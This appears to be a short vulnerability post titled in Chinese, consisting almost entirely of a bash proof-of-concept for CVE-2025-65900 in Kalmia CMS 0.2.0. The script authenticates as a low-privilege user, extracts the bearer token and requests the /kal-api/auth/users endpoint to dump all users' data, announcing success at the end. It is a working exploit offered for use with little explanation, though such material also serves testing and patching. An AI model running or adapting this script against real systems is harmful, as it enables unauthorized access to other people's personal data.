CVE-2025-65900 Kalmia CMS 0.2.0 越权访问漏洞

#!/bin/bash # CVE-2025-65900 PoC - Kalmia CMS Unauthorized User Data Access # Target: Kalmia CMS v0.2.0 # Endpoint: /kal-api/auth/users TARGET_URL="http://target-server.com" USERNAME="regular_user" PASSWORD="user_password" # Step 1: Authenticate and obtain session/token echo "[*] Authenticating as regular user..." AUTH_RESPONSE=$(curl -s -X POST "${TARGET_URL}/kal-api/auth/login" \ -H "Content-Type: application/json" \ -d "{\"username\":\"${USERNAME}\",\"password\":\"${PASSWORD}\"}") # Extract token (adjust based on actual response format) TOKEN=$(echo "$AUTH_RESPONSE" | grep -oP '"token":"\K[^"]+') if [ -z "$TOKEN" ]; then echo "[!] Authentication failed" exit 1 fi echo "[+] Authentication successful" # Step 2: Exploit the vulnerability - access all users' data echo "[*] Exploiting CVE-2025-65900..." USER_DATA=$(curl -s -X GET "${TARGET_URL}/kal-api/auth/users" \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json") echo "[+] Retrieved sensitive user data:" echo "$USER_DATA" | jq . echo "[*] PoC completed - unauthorized access to all user information achieved"